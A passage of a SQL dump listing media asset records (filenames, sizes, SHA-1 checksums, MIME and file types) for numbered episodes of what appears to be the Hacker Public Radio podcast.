(3879,'hpr3879.ogg','ogg',23533557,'de778b961d1338ed1f3bde31d96a0fe51d195d62','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3879,'hpr3879.spx','spx',10682050,'43ec8ae200fce1b7a565a7228c65c3684831074b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3880,'hpr3880.mp3','mp3',6976988,'d793683de23d59c3ad9e6a3759182ec2022bc52f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3880,'hpr3880.ogg','ogg',10215147,'90655eed9791a6253ca0e4c0ed2d138f31e21905','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3880,'hpr3880.spx','spx',3293534,'c8e9059fbc09dcd91fe6ac2788a662ae8584d3d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3881,'hpr3881.mp3','mp3',10100819,'abb7789080acbc6abb9d5078fc6c1577d78b3359','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3881,'hpr3881.ogg','ogg',11808903,'5ec7bc44aa90f1d9a3f086156a4e48b7945bb25b','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3881,'hpr3881.spx','spx',4768381,'67b0e7de09eca43079401b7e2a4df648ed016842','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3884,'hpr3884.mp3','mp3',83492484,'b8b5ce67d4e39870285be6a73e8c5c7312ff69b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3884,'hpr3884.ogg','ogg',110299200,'0bff325f5b307eb47a35630fd241d780762fd480','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3884,'hpr3884.spx','spx',39418479,'79df083b52174fa3086a10a0b895980a31cfcd51','application/ogg; charset=binary','Ogg data, Speex audio'),
(3885,'hpr3885.mp3','mp3',59179949,'8a4f57b00dcd3a70c4441c65dcd861887f47a140','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3885,'hpr3885.ogg','ogg',59464179,'d7284648a225efa769ec88db6dab5847e1248d8b','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3885,'hpr3885.spx','spx',27939997,'4f21f58693c904fb010de76b891420373ae27cb8','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3886,'hpr3886.mp3','mp3',10588317,'f48cbc509a9da545d4350f7559207f7c7955b319','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3886,'hpr3886.ogg','ogg',11783751,'fdfea3627e4b461a0f42225a488e97715f897c5e','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3886,'hpr3886.spx','spx',4998563,'dc10446acab0934cd5eca718a90095b30c82cb48','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3890,'hpr3890.mp3','mp3',6997934,'d6bde8a867b429d24f0d781843bda56b8854b2ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3890,'hpr3890.ogg','ogg',10143958,'7199b8f8ef1bc69cd59547e80015c377efe0e07b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3890,'hpr3890.spx','spx',3303458,'3eebbe02e11e95422ec5cf58bdf565c676a9d269','application/ogg; charset=binary','Ogg data, Speex audio'),
(3900,'hpr3900.mp3','mp3',6284652,'c02798257fb30de21575568b3aac6b85598a2c4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3900,'hpr3900.ogg','ogg',9181032,'6cb433c091da40e29bf3d8f62ec438f9dbff5bd3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3900,'hpr3900.spx','spx',2966703,'1b5723b3eadd3f4d85f77bc503a2bdd98fa3ecbf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3910,'hpr3910.mp3','mp3',8393172,'e3d49f438347aebaaeea748b132bf43ff9db0f70','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3910,'hpr3910.ogg','ogg',12166862,'da41fd85cdc2722ad6c1cd98f7d6cf1c2d11729f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3910,'hpr3910.spx','spx',3962130,'246472660f6e8f2ec64867f462d0c5a57fe6f034','application/ogg; charset=binary','Ogg data, Speex audio'),
(3920,'hpr3920.mp3','mp3',7543401,'266d0e9fc5d55ee8515cfc9c4bb855675a61c068','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3920,'hpr3920.ogg','ogg',11017838,'f80a269bc42cfb596faefd19ce79229fd7e9ea61','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3920,'hpr3920.spx','spx',3561039,'71e69b19a020dc1f8b5eaf57d2600a9edaf2d751','application/ogg; charset=binary','Ogg data, Speex audio'),
(3930,'hpr3930.mp3','mp3',6625454,'1a2bb1ef13369aa0c9fc6e7f87ae276e450a625c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3930,'hpr3930.ogg','ogg',9736607,'ac21423be9eb4bc633fbdb9ecec3b698abcc9281','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3930,'hpr3930.spx','spx',3127664,'b13a1a38d9fd5c287d2a0b23c49bedc8f2a2dc50','application/ogg; charset=binary','Ogg data, Speex audio'),
(3940,'hpr3940.mp3','mp3',6985049,'7da6521cb4f76f87c11be9c3c630573945e708bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3940,'hpr3940.ogg','ogg',10219535,'51bd2540de1c9284dce721228759b2d37c528d20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3940,'hpr3940.spx','spx',3297383,'515e9f90a6c77a99049299a919dc3f2d4c3400d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3950,'hpr3950.mp3','mp3',8399697,'25b0fbd687402b822ebf34f34904de25b079a564','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3950,'hpr3950.ogg','ogg',12325300,'21b9a565d4337818507fa5090286f9d5b0a154e8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3950,'hpr3950.spx','spx',3965304,'9597621c72de63a5c0546d68d10015f944c04d5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3960,'hpr3960.mp3','mp3',8989342,'b9ace66b7f4403ab84e60788683688ea106013a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3960,'hpr3960.ogg','ogg',13139168,'0cd935549cf1243d04e8029a8f84b4c2702c21d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3960,'hpr3960.spx','spx',4243690,'ee28205701386dc5ac670d040f6c33270415988e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3970,'hpr3970.mp3','mp3',8820957,'ee0494049d38bc1cd7ea7338568c9371fcc2280f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3970,'hpr3970.ogg','ogg',12850038,'7bafb057295736950d868208176534d629bab08f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3970,'hpr3970.spx','spx',4164222,'1a3e082de3aeaa45aaafc9dc4d4049f61c9aeda6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3980,'hpr3980.mp3','mp3',7914697,'cae89489d5b4e448c991ca59ff25e4ddd3965dab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3980,'hpr3980.ogg','ogg',11584140,'d18a314498f48d08a8430976871ef13ae1af4c46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3980,'hpr3980.spx','spx',3736351,'d164d122b21bb91bdace8343b798ae2736c0a94f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3990,'hpr3990.mp3','mp3',10420317,'65946b89c30416764141b982e19fe02b25907690','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3990,'hpr3990.ogg','ogg',15213053,'6d265bed1e4366586626c1719f5f93e9e0b1e6c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3990,'hpr3990.spx','spx',4919322,'a0c3f04832e4096c97fc4adc065ee278713dff92','application/ogg; charset=binary','Ogg data, Speex audio'),
(4000,'hpr4000.mp3','mp3',8303672,'21471ca342ac45520d94d17c51173a34c33cacd1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4000,'hpr4000.ogg','ogg',12123131,'6cdde060cd733e1b6f091d3a3cecc547da59f2ea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4000,'hpr4000.spx','spx',3919955,'4acc8561bf28dd9b489068f0337dada4915b2420','application/ogg; charset=binary','Ogg data, Speex audio'),
(4010,'hpr4010.mp3','mp3',9137565,'58006ef1bb0dd8316919d18b3a5c635bddd5461c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4020,'hpr4020.mp3','mp3',7149992,'eb0f98492998bec0501a5aa4c27471d865821bc0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4030,'hpr4030.mp3','mp3',6471261,'8c46703b268a8a52e58068a0b793d8ba3d0a220f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4040,'hpr4040.mp3','mp3',7793964,'01dd64959e3dff7d1da2ea27006c0ad8c851cebe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4050,'hpr4050.mp3','mp3',9713181,'03c7f31ff3f2a85cf620c68d0c7bbd1fa70f4940','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4060,'hpr4060.mp3','mp3',6581665,'ab1a4b8b74e06c4caa9471f6feb3a9654991be81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4070,'hpr4070.mp3','mp3',8425256,'35c04ad0a3cd5fd2a0b34c4b206966a4ac44f2a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4010,'hpr4010.ogg','ogg',13301063,'9a53edbbaee870383eda7ef02df71ed79d696f31','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4020,'hpr4020.ogg','ogg',10408975,'6fa621abe3da62b5131baac595ab07184cb565e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4030,'hpr4030.ogg','ogg',9337803,'07a79c3424c7f96286c81a35adc62ba38b7df08f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4040,'hpr4040.ogg','ogg',11353147,'d676960d978317f42a92ba48d4536592edde909d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4050,'hpr4050.ogg','ogg',14031335,'62a3a8b2af19fa820543262ff9ec78779c65a697','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4060,'hpr4060.ogg','ogg',9510567,'baeced58efdf8cf0528a7270c9805b3ce6032e3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4070,'hpr4070.ogg','ogg',12153983,'636e7c1539316bf33624ef2de105d7260dca12bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4010,'hpr4010.spx','spx',4313700,'485f988c80bc0839f6887124f648135ce17b7815','application/ogg; charset=binary','Ogg data, Speex audio'),
(4020,'hpr4020.spx','spx',3375290,'6e9c3e9e88b72797d98c435f3a87a7b3ab53b530','application/ogg; charset=binary','Ogg data, Speex audio'),
(4030,'hpr4030.spx','spx',3054759,'4aa079f4393b9d42c35819e8152149e86079f718','application/ogg; charset=binary','Ogg data, Speex audio'),
(4040,'hpr4040.spx','spx',3679254,'d990ae5c753f20c31c4fcd0ad356caef43d41b05','application/ogg; charset=binary','Ogg data, Speex audio'),
(4050,'hpr4050.spx','spx',4585419,'f3910613b92013e7665791be9537573ac864d25c','application/ogg; charset=binary','Ogg data, Speex audio'),
(4060,'hpr4060.spx','spx',3106966,'9414d7dda3514bfcc79fa8c0ed62fd5440d06dee','application/ogg; charset=binary','Ogg data, Speex audio'),
(4070,'hpr4070.spx','spx',3977333,'de6e7bfad1e642a674af37ac71f9e06b4c8f1f28','application/ogg; charset=binary','Ogg data, Speex audio'),
(4080,'hpr4080.mp3','mp3',5129617,'6dbe99e926a0d81e347e9e5872ec8196465fb99a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(4080,'hpr4080.ogg','ogg',7411279,'3bb1a094192df4ce617eefb569ed180b6ea58990','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(4080,'hpr4080.spx','spx',2421400,'b5cc2af044745ac4a5d625cfe38728e8053fa936','application/ogg; charset=binary','Ogg data, Speex audio'),
(3883,'hpr3883.flac','flac',39808618,'29795bb14cb4cee4cb0163f14a5d8b7bb3d0a865','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 108260167 samples'),
(3883,'hpr3883.mp3','mp3',4512730,'f1435088953e8f4a3241ae334ff531226996b4c5','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3883,'hpr3883.ogg','ogg',4934347,'23556c8da7d31540b7b541975322e1ac1c1ea04a','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3893,'hpr3893.vtt','vtt',48538,'30bddcea43fc92c9148164c50898531f928f5369','text/plain; charset=us-ascii','setgid , ASCII text'),
(3883,'hpr3883.opus','opus',4934658,'422ba6484c0970a37ad69f284aff113ca72f647a','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3878,'hpr3878.flac','flac',41081355,'99468f8e816698f26033247d0d4f59b6405c7e26','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 122481960 samples'),
(3883,'hpr3883.spx','spx',2130204,'533f607b4f632b7cefe2b09f166fe16489a1d75c','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3883,'hpr3883.wav','wav',216521792,'395c959f1cfc592616577dad22c0e3e49ed3543f','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3893,'hpr3893.flac','flac',179232398,'a0212f1d81f2548a830ae4c3d5d7bc46e0b30718','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 447775765 samples'),
(3893,'hpr3893.mp3','mp3',18659200,'564c83c14bfaf5d182840e00c1cbbce43c6a2630','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3893,'hpr3893.ogg','ogg',22538608,'666c69bd72b605a94c81c7f8f656c7b9c0e098a1','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3893,'hpr3893.opus','opus',22538829,'3a5765cfc2487694dc74bf9932e206e1eaaf30ed','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3881,'hpr3881.opus','opus',11809143,'3aa5621cd59e6a374d80d6bb17bc03edd8ae0626','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3893,'hpr3893.spx','spx',8809077,'75b3c951f68f7ee63b7690493acdc2263526938b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3893,'hpr3893.wav','wav',895552898,'1f5c3262dcd6163ddd1905625ca0deac582ce1e8','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3887,'hpr3887.mp3','mp3',12639690,'26896d00553288e2d59393dc50a94e923037ca6a','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3889,'hpr3889.wav','wav',106134726,'23fc7cf5d6932c4d042b7e27831eb9eef7fc8c2b','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3889,'hpr3889.mp3','mp3',2213125,'44da29d9178e5ecaa9daddf0a84095d24279437a','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3887,'hpr3887.flac','flac',123628174,'e1c6bc8f5a10f5b8127114779fbbd2610b6955e5','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 303304503 samples'),
(3887,'hpr3887.ogg','ogg',15491357,'0bba67a1486ea4bb922638e45b2dc1e2c37af96c','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3856,'hpr3856.json','json',212139,'525cd14127d9d8490648e9327a0db33aadedebbd','application/json; charset=us-ascii','setgid JSON data'),
(3887,'hpr3887.opus','opus',15491652,'cfd56f4e6fdb25b5e120b8b7462cac4fbc0938e7','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3887,'hpr3887.spx','spx',5967095,'3be072b03a79323f8ac311c3a42ebc9e9580d4de','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3887,'hpr3887.wav','wav',606610448,'cfc87e08b031fce21634b5290258f584bb8c1c60','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3888,'hpr3888.flac','flac',52733732,'246c821aa21ea3ad118e609221bd54c6fb1f0c1f','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 128438940 samples'),
(3888,'hpr3888.ogg','ogg',6214911,'4dee901706d7b50a23a74c3d3476c1b20754518f','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3869,'hpr3869.flac','flac',68671595,'0b0d2063a4feb08300431be21f29b1e1d1fbc154','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 175979098 samples'),
(3888,'hpr3888.opus','opus',6215191,'3cdba7f7201193bd0d2cce9d6a9299552b797f8f','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3885,'hpr3885.wav','wav',2840543666,'fc63a4575a62aca0475aa39e606df74d65b01eba','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3888,'hpr3888.spx','spx',2527133,'bbc59cf6a4451793dd7320f270b9d49bc51de67b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3888,'hpr3888.wav','wav',256879306,'190583696b99e01bafed4f6481702c2d0d4ea9f7','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3889,'hpr3889.flac','flac',21754201,'20e5cfae7ca82f7cfa5e7fbe7e162361b9373451','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 53066645 samples'),
(3894,'hpr3894.wav','wav',899325510,'3d02fc2fc1fa952dfd83e6951464aebf2c0099fd','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3894,'hpr3894.opus','opus',20867904,'0bbc067e2e76aa44405198a263d715a256246dd9','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3894,'hpr3894.flac','flac',168824112,'642e1330477300fa512e511269f5bb02f8d4c709','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 449662024 samples'),
(3894,'hpr3894.mp3','mp3',18737822,'566b77635cad7d22091dda52da05924158c01905','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3894,'hpr3894.spx','spx',8846239,'9acef10cb7ca6bf7e766679952663a831cef096f','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3894,'hpr3894.ogg','ogg',20867589,'ad5faa6e78039a2659c2c5dbb2715cb6009cb363','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3882,'hpr3882.mp3','mp3',5706520,'1cef80c0532f5484fcdd7a9a14da5171ee07d5e2','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3882,'hpr3882.ogg','ogg',6727660,'7574327a559689cb56d79e0e6bb6b8e4fce4e0c1','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3882,'hpr3882.spx','spx',2693763,'88b225f46a4cd557b8e91479191b8bd5143cc19e','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3882,'hpr3882.flac','flac',54360165,'e60818c0a46437e1179d93996eb74d7271fb8a29','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 136909306 samples'),
(3882,'hpr3882.opus','opus',6727905,'9be328c07dbe2b1d64aaaf6f4cff328e3f05e613','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3882,'hpr3882.wav','wav',273820004,'6fdc5731efabab479eb01e8c2586024df7f41dc2','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3916,'hpr3916.wav','wav',1771699850,'5ed24e700f809862097f4c98d0fb52ebbccc5eeb','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3916,'hpr3916.opus','opus',38462425,'9be685e69be1429fbd1bf48f3afa8bfbef9a5340','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3916,'hpr3916.flac','flac',322922012,'b7a5804a30c47d40a8b52e92e4efd5d2d0ce37db','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 885849204 samples'),
(3916,'hpr3916.spx','spx',17426814,'2085e72cbb3773d1c5b9a46c80f40848bf80f731','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3916,'hpr3916.ogg','ogg',38462129,'21dab36d4dd9512867145e6425355b7585dc29ab','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3916,'hpr3916.mp3','mp3',36912331,'847cb036cb5ed9e3728e69a299a184fa022bce4d','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3933,'hpr3933.opus','opus',25246108,'eddb108527a5f69d6035362989450e3cc4178fc3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3933,'hpr3933.wav','wav',1126247400,'1421fa040f9e8a9c9284f4584219a35c871cf44e','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3933,'hpr3933.flac','flac',247310646,'e9bc0941600e984e046b9210e5081b6d57649634','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 563122978 samples'),
(3933,'hpr3933.spx','spx',11078203,'e85c9557ca24fe246ab063190bfc9edfda875e05','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3933,'hpr3933.ogg','ogg',25245811,'34133c65a47ab756d8475340623f8f4df273832d','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3933,'hpr3933.mp3','mp3',23465420,'a6338bddfe0921e89c2aa41f7fcc7c1bd9750807','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3923,'hpr3923.wav','wav',986667976,'a6ebb6562c5e11a77f0caf1137eb9e3fd7f64703','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3923,'hpr3923.opus','opus',21747177,'a33affcc81aa38d0c1eb1051cd15f3f0d423f09c','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3923,'hpr3923.flac','flac',215900321,'adaf9ba206b15cc980f565d3ae4de0440e8c97d7','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 493333282 samples'),
(3923,'hpr3923.ogg','ogg',21746911,'38ae8efd66d5f33f35a717b8ef88e6934ad0edd1','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3923,'hpr3923.spx','spx',9705321,'7867e5638850d5e1be105991c82780abf7064c4a','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3923,'hpr3923.mp3','mp3',20557549,'cf9c8b191a93ba49176b2872b0a98612706a43a4','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3922,'hpr3922.wav','wav',123496116,'1fe02278fe678104c28647c559d836fe6081d58e','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3922,'hpr3922.opus','opus',2460842,'4a172cbef61f01502fbbf5b448d22a4e10bcaf85','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3922,'hpr3922.flac','flac',27852772,'e6b43ce89f61ff01ffd7ea28641ad02f322c8ac0','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 61747357 samples'),
(3922,'hpr3922.spx','spx',1215215,'9afbb9c9a7fa1252db8191d51c40f087fe529a42','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3922,'hpr3922.ogg','ogg',2460586,'ef069ffac43b5c71932b3ffd3b07a1d9e9dafacc','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3922,'hpr3922.mp3','mp3',2574819,'ad69b72be3128e74e6fd18b4234d29d6af1fcc66','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3919,'hpr3919.wav','wav',399206516,'d22fbb8a264e184e4c76494074e5a1589981b499','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3919,'hpr3919.opus','opus',9958796,'d73a16444dac9e8855a406872734c679e20f0cbb','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3919,'hpr3919.spx','spx',3927028,'19f92fa866637c3a7d2f0dda8d0e5e3d66f52717','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3919,'hpr3919.flac','flac',79075576,'df3fbb5bc678276067ceac9cce34d1b6d96f3f2e','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 199602556 samples'),
(3919,'hpr3919.ogg','ogg',9958538,'8ce02ffd7773288b8775cf991d1093e3e56f5261','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3919,'hpr3919.mp3','mp3',8318693,'b201416f1dda0186675d72d021396981eb31888d','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3917,'hpr3917.wav','wav',187856318,'f8fcb49409f7b9d508289bb2d951e21e2ee074b4','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz');
INSERT INTO `assets` (`episode_id`, `filename`, `extension`, `size`, `sha1sum`, `mime_type`, `file_type`) VALUES (3917,'hpr3917.opus','opus',4982379,'082e449432f5046924b657f708ac8c176d6b0160','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3917,'hpr3917.flac','flac',35664453,'63fd6dd9c0a34239e31691794332e2d3f7317648','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 93927428 samples'),
(3917,'hpr3917.spx','spx',1848310,'a854b19b826f804481edbd705920707cb6f6d66b','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3917,'hpr3917.ogg','ogg',4982064,'e92ad8021377be57d173dbfe7a1e76c8876a23c8','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3917,'hpr3917.mp3','mp3',3915614,'163171f2db9efaca1060595e5a9732aa8b454bb7','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
